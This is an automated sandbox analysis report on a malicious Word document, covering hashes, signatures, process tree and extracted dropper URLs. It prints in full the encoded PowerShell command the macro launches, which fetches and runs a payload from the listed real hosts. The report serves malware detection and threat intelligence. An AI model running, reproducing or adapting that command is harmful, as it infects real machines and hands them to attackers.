Analysis

  • max time kernel
    138s
  • max time network
    165s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-05-2024 10:25

General

  • Target

    752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc

  • Size

    122KB

  • MD5

    752dbb7512d8035e11849fa0d7f488b3

  • SHA1

    950618a6e5887cbff4741b4dd0e139579474788b

  • SHA256

    bd492e2cd0f18bf045ae272d00e3043275c5df7745d3441c1680ceba44a9b68a

  • SHA512

    e8ee383f7e850c6ea3913374634b1aa00635317d4a9628be70ec54a472a4e76d25c706e6c46501b7309e5f2c07398022d5f07b1c3555a60804de56d68c850129

  • SSDEEP

    1536:RGJ9T76bf0wKUmywQmBVoqvykW7SAeDS3SySUwesvkpi5RtULbfJ:YT76bbMVRvS8LUwesMpi5mbfJ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://89.223.89.8/rez-senqo/o402ek2m.php

exe.dropper

http://sudetztend.com/rez-senqo/o402ek2m.php?l=yuptb2.dds

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoP -Exec Bypass -EC JABpAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACIAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACIAKQA7AA0ACgAkAG0AZQB0AGgAbwBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQA7AA0ACgBmAG8AcgBlAGEAYwBoACgAJABtACAAaQBuACAAJABtAGUAdABoAG8AZAApAHsADQAKAA0ACgANAAoAIAAgAGkAZgAoACQAbQAuAE4AYQBtAGUAIAAtAGUAcQAgACIARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACIAKQB7AA0ACgAgACAAIAAgACAAdAByAHkAewANAAoADQAKACAAIAAgACAAIAAgACAAJAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AOAA5AC4AMgAyADMALgA4ADkALgA4AC8AcgBlAHoALQBzAGUAbgBxAG8ALwBvADQAMAAyAGUAawAyAG0ALgBwAGgAcAAiADsADQAKACAAIAAgACAAIAAgACAASQBFAFgAKAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApACkAOwANAAoACQANAAoAIAAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQANAAoAIAAgAH0ADQAKAA0ACgAgACAAaQBmACgAJABtAC4ATgBhAG0AZQAgAC0AZQBxACAAIgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAiACkAewANAAoAIAAgACAAIAAgAHQAcgB5AHsADQAKACAAIAAgACAAIAAkAHUAcgBpACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFUAcgBpACgAIgBoAHQAdABwADoALwAvAHMAdQBkAGUAdAB6AHQAZQBuAGQALgBjAG8AbQAvAHIAZQB6AC0AcwBlAG4AcQBvAC8AbwA0ADAAMgBlAGsAMgBtAC4AcABoAHAAPwBsAD0AeQB1AHAAdABiADIALgBkAGQAcwAiACkADQAKACAAIAAgACAAIAAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApADsADQAKAA0ACgAgACAAIAAgACAAJABwAGEAdABoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQwBvAG0AbQBvAG4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQAYQB0AGEAIgApACAAKwAgACIAXABcAG4AYQBqAEMAcwBxAC4AZQB4AGUAIgA7AA0ACgAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAcABhAHQAaAAsACAAJAByAGUAcwBwAG8AbgBzAGUAKQA7AA0ACgANAAoAIAAgACAAIAAgACQAYwBsAHMAaQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABHAHUAaQBkACAAJwBDADAAOABBAEYARAA5ADAALQBGADIAQQAxAC0AMQAxAEQAMQAtADgANAA1ADUALQAwADAAQQAwAEMAOQAxAEYAMwA4ADgAMAAnAA0ACgAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgAFsAVAB5AHAAZQBdADoAOgBHAGUAdABUAHkAcABlAEYAcgBvAG0AQwBMAFMASQBEACgAJABjAGwAcwBpAGQAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQAIAA9ACAAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHQAeQBwAGUAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQALgBEAG8AYwB1AG0AZQBuAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQAcABhAHQAaAAsACQAbgB1AGwALAAgACQAbgB1AGwALAAgACQAbgB1AGwALAAwACkADQAKAA0ACgAgACAAIAAgACAAfQBjAGEAdABjAGgAewB9AA0ACgAgACAAIAAgACAADQAKACAAIAB9AA0ACgB9AA0ACgANAAoARQB4AGkAdAA7AA0ACgANAAoA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3848
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4072 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_03oao0jj.mkc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/868-28-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-66-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-1-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-6-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-5-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-0-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-7-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-8-0x00007FFD97220000-0x00007FFD97230000-memory.dmp

      Filesize

      64KB

    • memory/868-10-0x00007FFD97220000-0x00007FFD97230000-memory.dmp

      Filesize

      64KB

    • memory/868-16-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-68-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-4-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-2-0x00007FFDD96ED000-0x00007FFDD96EE000-memory.dmp

      Filesize

      4KB

    • memory/868-23-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-67-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-44-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-45-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/868-3-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-65-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/868-64-0x00007FFD996D0000-0x00007FFD996E0000-memory.dmp

      Filesize

      64KB

    • memory/3848-49-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/3848-46-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/3848-29-0x00007FFDD9650000-0x00007FFDD9845000-memory.dmp

      Filesize

      2.0MB

    • memory/3848-36-0x0000025438990000-0x00000254389B2000-memory.dmp

      Filesize

      136KB